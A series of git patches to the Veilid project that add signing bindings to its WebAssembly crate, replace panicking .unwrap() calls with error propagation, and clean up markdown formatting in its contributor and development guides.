-196,7 +190,59 @@ impl VeilidCrypto { APIResult::Ok(out.to_string()) } - pub fn generateKeyPair(kind: String) -> APIResult { + pub fn verifySignatures( + node_ids: StringArray, + data: String, + signatures: StringArray, + ) -> VeilidAPIResult { + let node_ids = into_unchecked_string_vec(node_ids); + let node_ids: Vec = node_ids + .iter() + .map(|k| veilid_core::TypedKey::from_str(k).unwrap()) + .collect(); + + let data: Vec = data_encoding::BASE64URL_NOPAD + .decode(data.as_bytes()) + .unwrap(); + + let typed_signatures = into_unchecked_string_vec(signatures); + let typed_signatures: Vec = typed_signatures + .iter() + .map(|k| veilid_core::TypedSignature::from_str(k).unwrap()) + .collect(); + + let veilid_api = get_veilid_api()?; + let crypto = veilid_api.crypto()?; + let out = crypto.verify_signatures(&node_ids, &data, &typed_signatures)?; + let out = out + .iter() + .map(|item| item.to_string()) + .collect::>(); + let out = into_unchecked_string_array(out); + APIResult::Ok(out) + } + + pub fn generateSignatures(data: String, key_pairs: StringArray) -> APIResult { + let data: Vec = data_encoding::BASE64URL_NOPAD + .decode(data.as_bytes()) + .unwrap(); + + let key_pairs = into_unchecked_string_vec(key_pairs); + let key_pairs: Vec = key_pairs + .iter() + .map(|k| veilid_core::TypedKeyPair::from_str(k).unwrap()) + .collect(); + + let veilid_api = get_veilid_api()?; + let crypto = veilid_api.crypto()?; + let out = crypto.generate_signatures(&data, &key_pairs, |k, s| { + veilid_core::TypedSignature::new(k.kind, s).to_string() + })?; + let out = into_unchecked_string_array(out); + APIResult::Ok(out) + } + + pub fn generateKeyPair(kind: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; let veilid_api = get_veilid_api()?; @@ -209,6 +255,7 @@ impl VeilidCrypto { ) })?; let out = crypto_system.generate_keypair(); + let out = out.encode(); APIResult::Ok(out) } diff --git a/veilid-wasm/src/veilid_routing_context_js.rs b/veilid-wasm/src/veilid_routing_context_js.rs index 50db6fe7..45183655 100644 --- a/veilid-wasm/src/veilid_routing_context_js.rs +++ b/veilid-wasm/src/veilid_routing_context_js.rs @@ -3,70 +3,23 @@ use super::*; #[wasm_bindgen()] pub struct VeilidRoutingContext { - inner_routing_context: Option, + inner_routing_context: RoutingContext, } #[wasm_bindgen()] impl VeilidRoutingContext { - /// Don't use this constructor directly. - /// Use one of the `VeilidRoutingContext.create___()` factory methods instead. - /// @deprecated + /// Create a new VeilidRoutingContext, without any privacy or sequencing settings. #[wasm_bindgen(constructor)] - pub fn new() -> Self { - Self { - inner_routing_context: None, - } - } - - // -------------------------------- - // Constructor factories - // -------------------------------- - - /// Get a new RoutingContext object to use to send messages over the Veilid network. - pub fn createWithoutPrivacy() -> APIResult { + pub fn new() -> APIResult { let veilid_api = get_veilid_api()?; - let routing_context = veilid_api.routing_context(); - Ok(VeilidRoutingContext { - inner_routing_context: Some(routing_context), + APIResult::Ok(VeilidRoutingContext { + inner_routing_context: veilid_api.routing_context(), }) } - /// Turn on sender privacy, enabling the use of safety routes. - /// - /// Default values for hop count, stability and sequencing preferences are used. - /// - /// Hop count default is dependent on config, but is set to 1 extra hop. - /// Stability default is to choose 'low latency' routes, preferring them over long-term reliability. - /// Sequencing default is to have no preference for ordered vs unordered message delivery - /// To modify these defaults, use `VeilidRoutingContext.createWithCustomPrivacy()`. - pub fn createWithPrivacy() -> APIResult { - let veilid_api = get_veilid_api()?; - let routing_context = veilid_api.routing_context().with_privacy()?; - Ok(VeilidRoutingContext { - inner_routing_context: Some(routing_context), - }) - } - - /// Turn on privacy using a custom `SafetySelection` - pub fn createWithCustomPrivacy( - safety_selection: SafetySelection, - ) -> APIResult { - let veilid_api = get_veilid_api()?; - let routing_context = veilid_api - .routing_context() - .with_custom_privacy(safety_selection)?; - Ok(VeilidRoutingContext { - inner_routing_context: Some(routing_context), - }) - } - - /// Use a specified `Sequencing` preference, with or without privacy. - pub fn createWithSequencing(sequencing: Sequencing) -> APIResult { - let veilid_api = get_veilid_api()?; - let routing_context = veilid_api.routing_context().with_sequencing(sequencing); - Ok(VeilidRoutingContext { - inner_routing_context: Some(routing_context), - }) + /// Same as `new VeilidRoutingContext()` except easier to chain. + pub fn create() -> APIResult { + VeilidRoutingContext::new() } // -------------------------------- @@ -87,6 +40,18 @@ impl VeilidRoutingContext { APIResult::Ok(route_blob) } + /// Import a private route blob as a remote private route. + /// + /// Returns a route id that can be used to send private messages to the node creating this route. + pub fn importRemotePrivateRoute(&self, blob: String) -> APIResult { + let blob: Vec = data_encoding::BASE64URL_NOPAD + .decode(blob.as_bytes()) + .unwrap(); + let veilid_api = get_veilid_api()?; + let route_id = veilid_api.import_remote_private_route(blob)?; + APIResult::Ok(route_id) + } + /// Allocate a new private route and specify a specific cryptosystem, stability and sequencing preference. /// Returns a route id and a publishable 'blob' with the route encrypted with each crypto kind. /// Those nodes importing the blob will have their choice of which crypto kind to use. @@ -110,7 +75,7 @@ impl VeilidRoutingContext { /// /// This will deactivate the route and free its resources and it can no longer be sent to or received from. pub fn releasePrivateRoute(route_id: String) -> APIResult<()> { - let route_id: veilid_core::RouteId = veilid_core::deserialize_json(&route_id).unwrap(); + let route_id: veilid_core::RouteId = RouteId::from_str(&route_id)?; let veilid_api = get_veilid_api()?; veilid_api.release_private_route(route_id)?; APIRESULT_UNDEFINED @@ -139,10 +104,43 @@ impl VeilidRoutingContext { // Instance methods // -------------------------------- fn getRoutingContext(&self) -> APIResult { - let Some(routing_context) = &self.inner_routing_context else { - return APIResult::Err(veilid_core::VeilidAPIError::generic("Unable to getRoutingContext instance. inner_routing_context is None.")); - }; - APIResult::Ok(routing_context.clone()) + APIResult::Ok(self.inner_routing_context.clone()) + } + + /// Turn on sender privacy, enabling the use of safety routes. + /// Returns a new instance of VeilidRoutingContext - does not mutate. + /// + /// Default values for hop count, stability and sequencing preferences are used. + /// + /// Hop count default is dependent on config, but is set to 1 extra hop. + /// Stability default is to choose 'low latency' routes, preferring them over long-term reliability. + /// Sequencing default is to have no preference for ordered vs unordered message delivery + pub fn withPrivacy(&self) -> APIResult { + let routing_context = self.getRoutingContext()?; + APIResult::Ok(VeilidRoutingContext { + inner_routing_context: routing_context.with_privacy()?, + }) + } + + /// Turn on privacy using a custom `SafetySelection`. + /// Returns a new instance of VeilidRoutingContext - does not mutate. + pub fn withCustomPrivacy( + &self, + safety_selection: SafetySelection, + ) -> APIResult { + let routing_context = self.getRoutingContext()?; + APIResult::Ok(VeilidRoutingContext { + inner_routing_context: routing_context.with_custom_privacy(safety_selection)?, + }) + } + + /// Use a specified `Sequencing` preference. + /// Returns a new instance of VeilidRoutingContext - does not mutate. + pub fn withSequencing(&self, sequencing: Sequencing) -> APIResult { + let routing_context = self.getRoutingContext()?; + APIResult::Ok(VeilidRoutingContext { + inner_routing_context: routing_context.with_sequencing(sequencing), + }) } /// App-level unidirectional message that does not expect any value to be returned. diff --git a/veilid-wasm/src/wasm_helpers.rs b/veilid-wasm/src/wasm_helpers.rs index f8e93468..84a52069 100644 --- a/veilid-wasm/src/wasm_helpers.rs +++ b/veilid-wasm/src/wasm_helpers.rs @@ -36,3 +36,13 @@ pub(crate) fn into_unchecked_string_array(items: Vec) -> StringArray { .collect::() .unchecked_into::() // TODO: can I do this a better way? } + +/// Convert a StringArray (`js_sys::Array` with the type of `string[]`) into `Vec` +pub(crate) fn into_unchecked_string_vec(items: StringArray) -> Vec { + items + .unchecked_into::() + .to_vec() + .into_iter() + .map(|i| serde_wasm_bindgen::from_value(i).unwrap()) + .collect::>() +} From ac8bbe9a835ebe45e495f34ae8fc141dbb0445c1 Mon Sep 17 00:00:00 2001 From: Brandon Vandegrift <798832-bmv437@users.noreply.gitlab.com> Date: Tue, 12 Sep 2023 08:06:49 -0400 Subject: [PATCH 11/47] Replace .unwrap() with ? operator --- veilid-wasm/src/lib.rs | 9 +- veilid-wasm/src/veilid_crypto_js.rs | 122 +++++++++---------- veilid-wasm/src/veilid_routing_context_js.rs | 31 ++--- veilid-wasm/src/veilid_table_db_js.rs | 22 ++-- 4 files changed, 88 insertions(+), 96 deletions(-) diff --git a/veilid-wasm/src/lib.rs b/veilid-wasm/src/lib.rs index b949f527..fa87391c 100644 --- a/veilid-wasm/src/lib.rs +++ b/veilid-wasm/src/lib.rs @@ -66,10 +66,15 @@ fn take_veilid_api() -> Result Vec { +pub fn unmarshall(b64: String) -> APIResult> { data_encoding::BASE64URL_NOPAD .decode(b64.as_bytes()) - .unwrap() + .map_err(|e| { + VeilidAPIError::generic(format!( + "error decoding base64url string '{}' into bytes: {}", + b64, e + )) + }) } pub fn marshall(data: &Vec) -> String { diff --git a/veilid-wasm/src/veilid_crypto_js.rs b/veilid-wasm/src/veilid_crypto_js.rs index ada65c4b..e12a1978 100644 --- a/veilid-wasm/src/veilid_crypto_js.rs +++ b/veilid-wasm/src/veilid_crypto_js.rs @@ -93,12 +93,8 @@ impl VeilidCrypto { pub fn hashPassword(kind: String, password: String, salt: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let password: Vec = data_encoding::BASE64URL_NOPAD - .decode(password.as_bytes()) - .unwrap(); - let salt: Vec = data_encoding::BASE64URL_NOPAD - .decode(salt.as_bytes()) - .unwrap(); + let password = unmarshall(password)?; + let salt = unmarshall(salt)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -119,9 +115,7 @@ impl VeilidCrypto { password_hash: String, ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let password: Vec = data_encoding::BASE64URL_NOPAD - .decode(password.as_bytes()) - .unwrap(); + let password = unmarshall(password)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -138,12 +132,8 @@ impl VeilidCrypto { pub fn deriveSharedSecret(kind: String, password: String, salt: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let password: Vec = data_encoding::BASE64URL_NOPAD - .decode(password.as_bytes()) - .unwrap(); - let salt: Vec = data_encoding::BASE64URL_NOPAD - .decode(salt.as_bytes()) - .unwrap(); + let password = unmarshall(password)?; + let salt = unmarshall(salt)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -196,20 +186,34 @@ impl VeilidCrypto { signatures: StringArray, ) -> VeilidAPIResult { let node_ids = into_unchecked_string_vec(node_ids); - let node_ids: Vec = node_ids + let node_ids: Vec = node_ids .iter() - .map(|k| veilid_core::TypedKey::from_str(k).unwrap()) - .collect(); + .map(|k| { + veilid_core::TypedKey::from_str(k).map_err(|e| { + VeilidAPIError::invalid_argument( + "verifySignatures()", + format!("error decoding nodeid in node_ids[]: {}", e), + k, + ) + }) + }) + .collect::>>()?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data: Vec = unmarshall(data)?; let typed_signatures = into_unchecked_string_vec(signatures); - let typed_signatures: Vec = typed_signatures + let typed_signatures: Vec = typed_signatures .iter() - .map(|k| veilid_core::TypedSignature::from_str(k).unwrap()) - .collect(); + .map(|k| { + TypedSignature::from_str(k).map_err(|e| { + VeilidAPIError::invalid_argument( + "verifySignatures()", + format!("error decoding keypair in key_pairs[]: {}", e), + k, + ) + }) + }) + .collect::>>()?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -223,15 +227,21 @@ impl VeilidCrypto { } pub fn generateSignatures(data: String, key_pairs: StringArray) -> APIResult { - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let key_pairs = into_unchecked_string_vec(key_pairs); - let key_pairs: Vec = key_pairs + let key_pairs: Vec = key_pairs .iter() - .map(|k| veilid_core::TypedKeyPair::from_str(k).unwrap()) - .collect(); + .map(|k| { + veilid_core::TypedKeyPair::from_str(k).map_err(|e| { + VeilidAPIError::invalid_argument( + "generateSignatures()", + format!("error decoding keypair in key_pairs[]: {}", e), + k, + ) + }) + }) + .collect::>>()?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -262,9 +272,7 @@ impl VeilidCrypto { pub fn generateHash(kind: String, data: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -301,9 +309,7 @@ impl VeilidCrypto { pub fn validateHash(kind: String, data: String, hash: String) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let hash: veilid_core::HashDigest = veilid_core::HashDigest::from_str(&hash)?; @@ -345,9 +351,7 @@ impl VeilidCrypto { let key: veilid_core::PublicKey = veilid_core::PublicKey::from_str(&key)?; let secret: veilid_core::SecretKey = veilid_core::SecretKey::from_str(&secret)?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -362,9 +366,7 @@ impl VeilidCrypto { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; let key: veilid_core::PublicKey = veilid_core::PublicKey::from_str(&key)?; - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(data.as_bytes()) - .unwrap(); + let data = unmarshall(data)?; let signature: veilid_core::Signature = veilid_core::Signature::from_str(&signature)?; let veilid_api = get_veilid_api()?; @@ -401,20 +403,16 @@ impl VeilidCrypto { ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let body: Vec = data_encoding::BASE64URL_NOPAD - .decode(body.as_bytes()) - .unwrap(); + let body = unmarshall(body)?; let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce)?; let shared_secret: veilid_core::SharedSecret = veilid_core::SharedSecret::from_str(&shared_secret)?; - let associated_data: Option> = associated_data.map(|ad| { - data_encoding::BASE64URL_NOPAD - .decode(ad.as_bytes()) - .unwrap() - }); + let associated_data = associated_data + .map(|ad| unmarshall(ad)) + .map_or(APIResult::Ok(None), |r| r.map(Some))?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -447,20 +445,16 @@ impl VeilidCrypto { ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let body: Vec = data_encoding::BASE64URL_NOPAD - .decode(body.as_bytes()) - .unwrap(); + let body = unmarshall(body)?; - let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce).unwrap(); + let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce)?; let shared_secret: veilid_core::SharedSecret = - veilid_core::SharedSecret::from_str(&shared_secret).unwrap(); + veilid_core::SharedSecret::from_str(&shared_secret)?; - let associated_data: Option> = associated_data.map(|ad| { - data_encoding::BASE64URL_NOPAD - .decode(ad.as_bytes()) - .unwrap() - }); + let associated_data: Option> = associated_data + .map(|ad| unmarshall(ad)) + .map_or(APIResult::Ok(None), |r| r.map(Some))?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; @@ -492,14 +486,12 @@ impl VeilidCrypto { ) -> APIResult { let kind: veilid_core::CryptoKind = veilid_core::FourCC::from_str(&kind)?; - let mut body: Vec = data_encoding::BASE64URL_NOPAD - .decode(body.as_bytes()) - .unwrap(); + let mut body = unmarshall(body)?; - let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce).unwrap(); + let nonce: veilid_core::Nonce = veilid_core::Nonce::from_str(&nonce)?; let shared_secret: veilid_core::SharedSecret = - veilid_core::SharedSecret::from_str(&shared_secret).unwrap(); + veilid_core::SharedSecret::from_str(&shared_secret)?; let veilid_api = get_veilid_api()?; let crypto = veilid_api.crypto()?; diff --git a/veilid-wasm/src/veilid_routing_context_js.rs b/veilid-wasm/src/veilid_routing_context_js.rs index 45183655..9707c0be 100644 --- a/veilid-wasm/src/veilid_routing_context_js.rs +++ b/veilid-wasm/src/veilid_routing_context_js.rs @@ -44,9 +44,7 @@ impl VeilidRoutingContext { /// /// Returns a route id that can be used to send private messages to the node creating this route. pub fn importRemotePrivateRoute(&self, blob: String) -> APIResult { - let blob: Vec = data_encoding::BASE64URL_NOPAD - .decode(blob.as_bytes()) - .unwrap(); + let blob = unmarshall(blob)?; let veilid_api = get_veilid_api()?; let route_id = veilid_api.import_remote_private_route(blob)?; APIResult::Ok(route_id) @@ -86,7 +84,7 @@ impl VeilidRoutingContext { /// * `call_id` - specifies which call to reply to, and it comes from a VeilidUpdate::AppCall, specifically the VeilidAppCall::id() value. /// * `message` - is an answer blob to be returned by the remote node's RoutingContext::app_call() function, and may be up to 32768 bytes pub async fn appCallReply(call_id: String, message: String) -> APIResult<()> { - let message = unmarshall(message); + let message = unmarshall(message)?; let call_id = match call_id.parse() { Ok(v) => v, Err(e) => { @@ -152,7 +150,7 @@ impl VeilidRoutingContext { #[wasm_bindgen(skip_jsdoc)] pub async fn appMessage(&self, target_string: String, message: String) -> APIResult<()> { let routing_context = self.getRoutingContext()?; - let message = unmarshall(message); + let message = unmarshall(message)?; let veilid_api = get_veilid_api()?; let target = veilid_api.parse_as_target(target_string).await?; @@ -169,7 +167,7 @@ impl VeilidRoutingContext { /// @returns an answer blob of up to `32768` bytes, base64Url encoded. #[wasm_bindgen(skip_jsdoc)] pub async fn appCall(&self, target_string: String, request: String) -> APIResult { - let request: Vec = unmarshall(request); + let request: Vec = unmarshall(request)?; let routing_context = self.getRoutingContext()?; let veilid_api = get_veilid_api()?; @@ -215,11 +213,10 @@ impl VeilidRoutingContext { key: String, writer: Option, ) -> APIResult { - let key = TypedKey::from_str(&key).unwrap(); - let writer = match writer { - Some(writer) => Some(KeyPair::from_str(&writer).unwrap()), - _ => None, - }; + let key = TypedKey::from_str(&key)?; + let writer = writer + .map(|writer| KeyPair::from_str(&writer)) + .map_or(APIResult::Ok(None), |r| r.map(Some))?; let routing_context = self.getRoutingContext()?; let dht_record_descriptor = routing_context.open_dht_record(key, writer).await?; @@ -230,7 +227,7 @@ impl VeilidRoutingContext { /// /// Closing a record allows you to re-open it with a different routing context pub async fn closeDhtRecord(&self, key: String) -> APIResult<()> { - let key = TypedKey::from_str(&key).unwrap(); + let key = TypedKey::from_str(&key)?; let routing_context = self.getRoutingContext()?; routing_context.close_dht_record(key).await?; APIRESULT_UNDEFINED @@ -242,7 +239,7 @@ impl VeilidRoutingContext { /// Deleting a record does not delete it from the network, but will remove the storage of the record locally, /// and will prevent its value from being refreshed on the network by this node. pub async fn deleteDhtRecord(&self, key: String) -> APIResult<()> { - let key = TypedKey::from_str(&key).unwrap(); + let key = TypedKey::from_str(&key)?; let routing_context = self.getRoutingContext()?; routing_context.delete_dht_record(key).await?; APIRESULT_UNDEFINED @@ -260,7 +257,7 @@ impl VeilidRoutingContext { subKey: u32, forceRefresh: bool, ) -> APIResult> { - let key = TypedKey::from_str(&key).unwrap(); + let key = TypedKey::from_str(&key)?; let routing_context = self.getRoutingContext()?; let res = routing_context .get_dht_value(key, subKey, forceRefresh) @@ -278,10 +275,8 @@ impl VeilidRoutingContext { subKey: u32, data: String, ) -> APIResult> { - let key = TypedKey::from_str(&key).unwrap(); - let data: Vec = data_encoding::BASE64URL_NOPAD - .decode(&data.as_bytes()) - .unwrap(); + let key = TypedKey::from_str(&key)?; + let data = unmarshall(data)?; let routing_context = self.getRoutingContext()?; let res = routing_context.set_dht_value(key, subKey, data).await?; diff --git a/veilid-wasm/src/veilid_table_db_js.rs b/veilid-wasm/src/veilid_table_db_js.rs index 2a8c235a..f1fb86c3 100644 --- a/veilid-wasm/src/veilid_table_db_js.rs +++ b/veilid-wasm/src/veilid_table_db_js.rs @@ -63,11 +63,11 @@ impl VeilidTableDB { /// Read a key from a column in the TableDB immediately. pub async fn load(&mut self, columnId: u32, key: String) -> APIResult> { self.ensureOpen().await; - let key = unmarshall(key); + let key = unmarshall(key)?; let table_db = self.getTableDB()?; - let out = table_db.load(columnId, &key).await?.unwrap(); - let out = Some(marshall(&out)); + let out = table_db.load(columnId, &key).await?; + let out = out.map(|out| marshall(&out)); APIResult::Ok(out) } @@ -75,8 +75,8 @@ impl VeilidTableDB { /// Performs a single transaction immediately. pub async fn store(&mut self, columnId: u32, key: String, value: String) -> APIResult<()> { self.ensureOpen().await; - let key = unmarshall(key); - let value = unmarshall(value); + let key = unmarshall(key)?; + let value = unmarshall(value)?; let table_db = self.getTableDB()?; table_db.store(columnId, &key, &value).await?; @@ -86,11 +86,11 @@ impl VeilidTableDB { /// Delete key with from a column in the TableDB. pub async fn delete(&mut self, columnId: u32, key: String) -> APIResult> { self.ensureOpen().await; - let key = unmarshall(key); + let key = unmarshall(key)?; let table_db = self.getTableDB()?; - let out = table_db.delete(columnId, &key).await?.unwrap(); - let out = Some(marshall(&out)); + let out = table_db.delete(columnId, &key).await?; + let out = out.map(|out| marshall(&out)); APIResult::Ok(out) } @@ -161,15 +161,15 @@ impl VeilidTableDBTransaction { /// Store a key with a value in a column in the TableDB. /// Does not modify TableDB until `.commit()` is called. pub fn store(&self, col: u32, key: String, value: String) -> APIResult<()> { - let key = unmarshall(key); - let value = unmarshall(value); + let key = unmarshall(key)?; + let value = unmarshall(value)?; let transaction = self.getTransaction()?; transaction.store(col, &key, &value) } /// Delete key with from a column in the TableDB pub fn deleteKey(&self, col: u32, key: String) -> APIResult<()> { - let key = unmarshall(key); + let key = unmarshall(key)?; let transaction = self.getTransaction()?; transaction.delete(col, &key) } From 72c1b38d0d61abf284cf0a7393056cfd42a33621 Mon Sep 17 00:00:00 2001 From: Kyle H Date: Tue, 12 Sep 2023 13:06:11 +0000 Subject: [PATCH 12/47] fix markdownlint warnings in CONTRIBUTING.md Used VSCode markdownlint utility to identify and correct syntax errors. --- CONTRIBUTING.md | 74 ++++++++++++++++++++++++------------------------- 1 file changed, 36 insertions(+), 38 deletions(-) diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 9cf8b4a4..9d8e949e 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -1,8 +1,9 @@ # Contributing to Veilid + Before you get started, please review our [Code of Conduct](./code_of_conduct.md). We're here to make things better and we cannot do that without treating each other with respect. - ## Code Contributions + To begin crafting code to contribute to the Veilid project, first set up a [development environment](./DEVELOPMENT.md). [Fork] and clone the project into your workspace; check out a new local branch and name it in a way that describes the work being done. This is referred to as a [feature branch]. Some contributions might introduce changes that are incompatible with other existing nodes. In this case it is recommended to also set a development network *Guide Coming Soon*. @@ -11,63 +12,60 @@ Once you have added your new function or addressed a bug, test it locally to ens We try to consider all merge requests fairly and with attention deserving to those willing to put in time and effort, but if you do not follow these rules, your contribution will be closed. We strive to ensure that the code joining the main branch is written to a high standard. - -### Code Contribution Do's & Don'ts: +### Code Contribution Do's & Don'ts Keeping the following in mind gives your contribution the best chance of landing! -#### Merge Requests - -* **Do** start by [forking] the project. -* **Do** create a [feature branch] to work on instead of working directly on `main`. This helps to: - * Protect the process. - * Ensures users are aware of commits on the branch being considered for merge. - * Allows for a location for more commits to be offered without mingling with other contributor changes. - * Allows contributors to make progress while a MR is still being reviewed. -* **Do** follow the [50/72 rule] for Git commit messages. -* **Do** target your merge request to the **main branch**. -* **Do** specify a descriptive title to make searching for your merge request easier. -* **Do** list [verification steps] so your code is testable. -* **Do** reference associated issues in your merge request description. -* **Don't** leave your merge request description blank. -* **Don't** abandon your merge request. Being responsive helps us land your code faster. -* **Don't** submit unfinished code. - +#### Merge Requests +- **Do** start by [forking] the project. +- **Do** create a [feature branch] to work on instead of working directly on `main`. This helps to: + - Protect the process. + - Ensures users are aware of commits on the branch being considered for merge. + - Allows for a location for more commits to be offered without mingling with other contributor changes. + - Allows contributors to make progress while a MR is still being reviewed. +- **Do** follow the [50/72 rule] for Git commit messages. +- **Do** target your merge request to the **main branch**. +- **Do** specify a descriptive title to make searching for your merge request easier. +- **Do** list [verification steps] so your code is testable. +- **Do** reference associated issues in your merge request description. +- **Don't** leave your merge request description blank. +- **Don't** abandon your merge request. Being responsive helps us land your code faster. +- **Don't** submit unfinished code. ## Contributions Without Writing Code + There are numerous ways you can contribute to the growth and success of the Veilid project without writing code: - - If you want to submit merge requests, begin by [forking] the project and checking out a new local branch. Name your new branch in a way that describes the work being done. This is referred to as a [feature branch]. - - Submit bugs as well as feature/enhancement requests. Letting us know you found a bug, have an idea for a new feature, or see a way we can enhance existing features is just as important and useful as writing the code related to those things. Send us detailed information about your issue or idea: - - Features/Enhancements: Describe your idea. If you're able to, sketch out a diagram or mock-up. - - Bugs: Please be sure to include the expected behavior, the observed behavior, and steps to reproduce the problem. Please be descriptive about the environment you've installed your node or application into. - - [Help other users with open issues]. Sometimes all an issue needs is a little conversation to clear up a process or misunderstanding. Please keep the [Code of Conduct](./code_of_conduct.md) in mind. - - Help other contributors test recently submitted merge requests. By pulling down a merge request and testing it, you can help validate new code contributions for stability and quality. - - Report a security or privacy vulnerability. Please let us know if you find ways in which Veilid could handle security and/or privacy in a different or better way. Surely let us know if you find broken or otherwise flawed security and/or privacy functions. You can report these directly to security@veilid.org. - - Add or edit documentation. Documentation is a living and evolving library of knowledge. As such, care, feeding, and even pruning is needed from time to time. If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand. +- If you want to submit merge requests, begin by [forking] the project and checking out a new local branch. Name your new branch in a way that describes the work being done. This is referred to as a [feature branch]. +- Submit bugs as well as feature/enhancement requests. Letting us know you found a bug, have an idea for a new feature, or see a way we can enhance existing features is just as important and useful as writing the code related to those things. Send us detailed information about your issue or idea: + - Features/Enhancements: Describe your idea. If you're able to, sketch out a diagram or mock-up. + - Bugs: Please be sure to include the expected behavior, the observed behavior, and steps to reproduce the problem. Please be descriptive about the environment you've installed your node or application into. +- [Help other users with open issues]. Sometimes all an issue needs is a little conversation to clear up a process or misunderstanding. Please keep the [Code of Conduct](./code_of_conduct.md) in mind. +- Help other contributors test recently submitted merge requests. By pulling down a merge request and testing it, you can help validate new code contributions for stability and quality. +- Report a security or privacy vulnerability. Please let us know if you find ways in which Veilid could handle security and/or privacy in a different or better way. Surely let us know if you find broken or otherwise flawed security and/or privacy functions. You can report these directly to . +- Add or edit documentation. Documentation is a living and evolving library of knowledge. As such, care, feeding, and even pruning is needed from time to time. If you're a non-native english speaker, you can help by replacing any ambiguous idioms, metaphors, or unclear language that might make our documentation hard to understand. +### Bug Fixes -#### Bug Fixes -* **Do** include reproduction steps in the form of [verification steps]. -* **Do** link to any corresponding issues in your commit description. +- **Do** include reproduction steps in the form of [verification steps]. +- **Do** link to any corresponding issues in your commit description. ## Bug Reports When reporting Veilid issues: -* **Do** write a detailed description of your bug and use a descriptive title. -* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug. -* **Don't** file duplicate reports. Search open issues for similar bugs before filing a new report. -* **Don't** attempt to report issues on a closed PR. New issues should be openned against the `main` branch. -Please report vulnerabilities in Veilid directly to security@veilid.org. +- **Do** write a detailed description of your bug and use a descriptive title. +- **Do** include reproduction steps, stack traces, and anything that might help us fix your bug. +- **Don't** file duplicate reports. Search open issues for similar bugs before filing a new report. +- **Don't** attempt to report issues on a closed PR. New issues should be openned against the `main` branch. + +Please report vulnerabilities in Veilid directly to . If you're looking for more guidance, talk to other Veilid contributors on the [Veilid Discord]. **Thank you** for taking the few moments to read this far! Together we will build something truely remarkable. - - This contributor guide is inspired by the contribution guidelines of the [Metasploit Framework](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) project found on GitHub. [Help other users with open issues]:https://gitlab.com/veilid/veilid/-/issues From 84e3303cecafbe2ae31e6096b881446eaa1296e7 Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Tue, 12 Sep 2023 08:43:09 -0500 Subject: [PATCH 13/47] Cleaned up .md files syntax Used the VScode markdownlint utility to make the syntax and formatting of multuple .md files so that they are more correct. --- DEVELOPMENT.md | 34 ++++++++++--------- INSTALL.md | 32 ++++++++++++------ README-DE.md | 22 ++++++------ README.md | 22 ++++++------ RELEASING.md | 92 +++++++++++++++++++++++++++++--------------------- 5 files changed, 116 insertions(+), 86 deletions(-) diff --git a/DEVELOPMENT.md b/DEVELOPMENT.md index 05771911..d84303bc 100644 --- a/DEVELOPMENT.md +++ b/DEVELOPMENT.md @@ -1,8 +1,9 @@ -[![Contributor Covenant](https://img.shields.io/badge/Contributor%20Covenant-2.1-4baaaa.svg)](code_of_conduct.md) - # Veilid Development +[![Contributor Covenant](https://img.shields.io/badge/Contributor%20Covenant-2.1-4baaaa.svg)](code_of_conduct.md) + ## Introduction + This guide covers setting up environments for core, Flutter/Dart, and Python development. See the relevent sections. ## Obtaining the source code @@ -20,14 +21,15 @@ itself, Ubuntu or Mint. Pull requests to support other distributions would be welcome! Running the setup script requires: + * Android SDK and NDK * Rust -You may decide to use Android Studio [here](https://developer.android.com/studio) -to maintain your Android dependencies. If so, use the dependency manager +You may decide to use Android Studio [here](https://developer.android.com/studio) +to maintain your Android dependencies. If so, use the dependency manager within your IDE. If you plan on using Flutter for Veilid development, the Android Studio -method is highly recommended as you may run into path problems with the 'flutter' -command line without it. If you do so, you may skip to +method is highly recommended as you may run into path problems with the 'flutter' +command line without it. If you do so, you may skip to [Run Veilid setup script](#Run Veilid setup script). * build-tools;33.0.1 @@ -38,7 +40,6 @@ command line without it. If you do so, you may skip to #### Setup Dependencies using the CLI - You can automatically install the prerequisites using this script: ```shell @@ -88,20 +89,21 @@ cd veilid-flutter 